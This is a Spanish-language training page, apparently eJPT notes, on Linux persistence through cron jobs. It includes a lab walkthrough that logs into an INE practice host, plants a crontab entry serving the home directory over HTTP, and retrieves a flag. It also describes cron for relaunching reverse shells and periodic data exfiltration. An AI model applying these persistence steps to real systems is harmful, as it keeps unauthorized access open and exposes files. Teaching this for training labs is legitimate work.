> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/post-explotacion/persistencia/persistencia-en-linux/persistencia-mediante-tareas-cron.md).

# Persistencia mediante tareas cron

En Linux, la planificación de tareas se gestiona con **Cron**, un servicio que ejecuta comandos o scripts de forma repetitiva en un horario predefinido. Configurar un script malicioso (o un sencillo *reverse shell*) como **cron job** nos brinda **acceso persistente** al sistema comprometido sin intervención manual.

***

## 🛠️ ¿Para qué usar Cron en persistencia?

* **Ejecución automática**: tu payload se lanza a intervalos fijos (minutos, horas, días…).
* **Bajo perfil**: un único archivo en `/etc/cron.*` o una entrada en `crontab` suele pasar desapercibido.
* **Flexibilidad**: puedes programar restauración de puertas traseras, rotación de shells o exfiltración de datos periódica.

***

## 📜 Anatomía de un cron job

```
* * * * *  comando_a_ejecutar
┬ ┬ ┬ ┬ ┬
│ │ │ │ └───── día de la semana (0‑7)
│ │ │ └──────── mes (1‑12)
│ │ └────────── día del mes (1‑31)
│ └──────────── hora (0‑23)
└──────────────── minuto (0‑59)
```

* Un asterisco (`*`) equivale a “cualquier valor”.
* Ejemplo `* * * * *` ⇒ **cada minuto de cada hora, día y mes**.

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/AQEQdKW2jwB4pJjzITZU" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/jPjlztgYLSX7c4ApaAN8" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Ejecute un escaneo nmap contra el objetivo:

**Dominio:**

```
nmap demo.ine.local
```

<figure><img src="/files/lu327Z5wXVTefHTqWpzq" alt=""><figcaption></figcaption></figure>

El puerto SSH está abierto.

**Paso 4:** Conéctese por SSH a la máquina de destino.

Las credenciales de inicio de sesión de SSH se proporcionan en la descripción del desafío: - Nombre de usuario: estudiante - Contraseña: contraseña

**Comandos:**

```
ssh student@demo.ine.local
Enter password “password”
```

<figure><img src="/files/XnEOo1vMYF2l3LTwIPXs" alt=""><figcaption></figcaption></figure>

**Paso 5:** Verifique los procesos en ejecución.

**Dominio:**

```
ps -eaf
```

<figure><img src="/files/mtlXqxrQa9adqZ1zMBzt" alt=""><figcaption></figcaption></figure>

El servicio Cron se está ejecutando.

**Paso 6:** Cree un trabajo cron que utilizará el módulo de Python SimpleHTTPServer para servir los archivos presentes en el directorio de inicio del usuario estudiante.

**Comandos:**

```
echo "* * * * * cd /home/student/ && python -m SimpleHTTPServer" > cron
crontab -i cron
crontab -l
```

<figure><img src="/files/CcCuftetspVYTLDoCc89" alt=""><figcaption></figcaption></figure>

Salir de la sesión.

**Paso 7:** Inicie sesión y elimine el archivo de espera.

**Comandos:**

```
ssh student@demo.ine.local
Enter password “password”

rm wait
```

<figure><img src="/files/JB8PLaey8OZvRaeX4NEH" alt=""><figcaption></figcaption></figure>

La sesión SSH ha finalizado.

**Paso 8:** Use nmap para buscar puertos abiertos. Dado que el servidor HTTP se inició, el puerto 8000 debería estar abierto.

**Dominio:**

```
nmap -p- demo.ine.local
```

<figure><img src="/files/8uUTALt5t6UxOVGTGXCR" alt=""><figcaption></figcaption></figure>

**Paso 9:** Recuperar la bandera.

**Comandos:**

```
curl demo.ine.local:8000
curl demo.ine.local:8000/flag.txt
```

<figure><img src="/files/dbBfTJCjYCVRG6y4XKcg" alt=""><figcaption></figcaption></figure>

**Bandera:** 79969e32981f722464fde4ce7f208883

## Conclusión

En este laboratorio, vimos cómo podemos utilizar la programación de trabajos locales para mantener el acceso persistente en el sistema.
